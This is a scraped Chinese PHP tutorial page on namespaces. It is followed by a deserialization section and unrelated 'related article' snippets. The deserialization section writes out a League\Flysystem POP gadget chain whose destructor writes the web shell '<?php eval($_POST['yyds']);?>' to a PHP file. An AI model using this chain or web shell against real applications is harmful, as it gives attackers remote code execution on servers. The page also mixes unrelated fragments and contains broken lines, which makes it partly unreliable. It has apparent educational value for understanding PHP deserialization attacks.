public function __construct()
{
echo 'classDemo被创建'; 
}
}
​
?>
​
<?phpnamespace Space1;
//包含一个文件,可以调用这个方法中的类,变量,方法。。。
//但由于php无法直接区分,哪些代码是那个文件中的,
//因此必须设置一个命名空间,/
/否则不同文件中的类,变量,方法。。。就会混淆
include 'demo.php';
​
//动态调用
// 动态调用常量
$a = '\Space2\son\DEMO';
echo constant($a);
// 动态调用方法
$b = '\Space2\son\func';
$b();
$c = '\Space2\son\classDemo';
$d = new $c;
?>

5. __NAMESPACE__

<?php
namespace Space;
// 输出当前命名空间的名字 "Spacet"
echo '"', __NAMESPACE__, '"';
?>

6. 别名/导入

use Space2\son\classDemo as Demo;
$obj = new Demo();
​
use Space2\son\classDemo
$obj = new classDemo();

7. 全局类调用

<?php
namespace A\B\C;
class Exception extends \Exception {}
​
// $a 是类 A\B\C\Exception 的一个对象
​
$a = new Exception('end');
// $b 是类 Exception 的一个对象
$b = new \Exception('end');
throw $a;
?>

反序列化

/入口点位置:
namespace League\Flysystem\Cached\Storage
{
​
abstract class AbstractCache
{
//属性值为false,才可以调用该save方法
protected $autosave = false;
​
// 一句话代码,也是最后写入文件的内容
protected $cache = ['<?php eval($_POST[\''.'yyds'.'\']);?>'];
​
protected $complete = [];
​
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
'md5',
]);
​
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
​
return $contents;
}
​public function __destruct()
{
//autoSave参数为false
if (! $this->autosave) {
$this->save();
}
}
}
​
use League\Flysystem\AdapterInterface;
use League\Flysystem\Config;
​
class Adapter extends AbstractCache
{
//适配器,也就是我们要利用write方法的类
protected $adapter;
protected $expire = null;//文件名,写入文件的文件名
protected $file = 'abcd.php';
​
public function __construct($local)
{
//方便生成的属性为local类对象,所以直接写到构造方法里了
$this->adapter = $local;
}
​
public function getForStorage()
{
//不用担心这个函数,它也没把我们的写入的内容怎么地
$cleaned = $this->cleanContents($this->cache);
​
return json_encode([$cleaned, $this->complete, $this->expire]);
}
​public function save()
{
$config = new Config();//为了方便,这个参数可以随便写一下,
//但是如果随便写,下面的write定义的部分记得把传参约定的类型去掉(要不然php7过不
了)
​
$contents = $this->getForStorage();
​
if ($this->adapter->has($this->file)) {
$this->adapter->update($this->file, $contents, $config);
} else {
$this->adapter->write($this->file, $contents, $config);
}
}
}
}

http://www.ppmy.cn/ops/42443.html

相关文章

PS —— 制作证件照

PS —— 制作证件照 裁剪工具魔棒工具油漆桶工具扩展画布 老是看编程&#xff0c;会有些疲劳&#xff0c;这个专栏我会放一些其他的知识&#xff0c;我们今天利用PS制作证件照&#xff08;注意&#xff0c;这里一些ps的基础操作我不会很展开的去讲&#xff09;&#xff1a; 裁…

在 Keras 中使用 LSTM 层

在 Keras 中使用 LSTM 层时&#xff0c;不需要在全连接层&#xff08;Dense 层&#xff09;前面添加展平层&#xff08;Flatten 层&#xff09;。这是因为 LSTM 层的输出已经是一个一维向量&#xff0c;可以直接作为 Dense 层的输入。下面详细解释这个问题。 ### LSTM 层的输出…

如何秒杀Promise面试题

如何秒杀Promise面试题 如果你在面试的时候技术面给你出了点关于Promise的面试题首先不要慌&#xff0c;先问候他爹妈一套问候语&#xff01; 然后切记不要(ps:这是病句别在意!&#x1f923;) 自己想 找他要纸和笔 首先关于promise的面试题无非就是 promise 的状态和宏队列、…

摸鱼大数据——Hadoop基础理论知识之ZooKeeper1-3

1、ZK概述 ZooKeeper概念: Zookeeper是一个分布式协调服务的开源框架。本质上是一个分布式的小文件存储系统 ZooKeeper作用: 主要用来解决分布式集群中应用系统的一致性问题。HA搭建&#xff1b;管理去中心化的集群&#xff08;例如Kafka&#xff09; ZooKeeper结构: 采用树形…

Web 安全基础:如何正确设置 HTTP 头信息

如何设置正确的网站安全头部 近年来&#xff0c;推出“安全评分卡”的公司如雨后春笋般涌现&#xff0c;这已开始成为企业销售过程中的一个考量因素。我从客户那里了解到&#xff0c;他们对于那些被评为低分的供应商持有顾虑&#xff0c;并且至少有一次是基于这种评分初步改变…

如何轻松访问 Android 手机和平板电脑上的内部存储

概括 在数字设备领域&#xff0c;我们的智能手机充当虚拟金库&#xff0c;在其范围内存储个人数据、珍贵记忆和重要信息的宝库。因此&#xff0c;我们将指导您如何访问 Android 上的内部存储&#xff0c;确保您可以安全、轻松地检查内部文件系统并管理文件。同时&#xff0c;您…

RustGUI学习(iced/iced_aw)之扩展小部件(二十三):如何使用sliderbar部件来创建滑动条?

前言 本专栏是学习Rust的GUI库iced的合集,将介绍iced涉及的各个小部件分别介绍,最后会汇总为一个总的程序。 iced是RustGUI中比较强大的一个,目前处于发展中(即版本可能会改变),本专栏基于版本0.12.1. 概述 这是本专栏的第二十三篇,主要讲述sliderbar滑动条部件的使用,…

CSS实现暗黑模式

暗黑模式 代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Dark Mode Example</title><…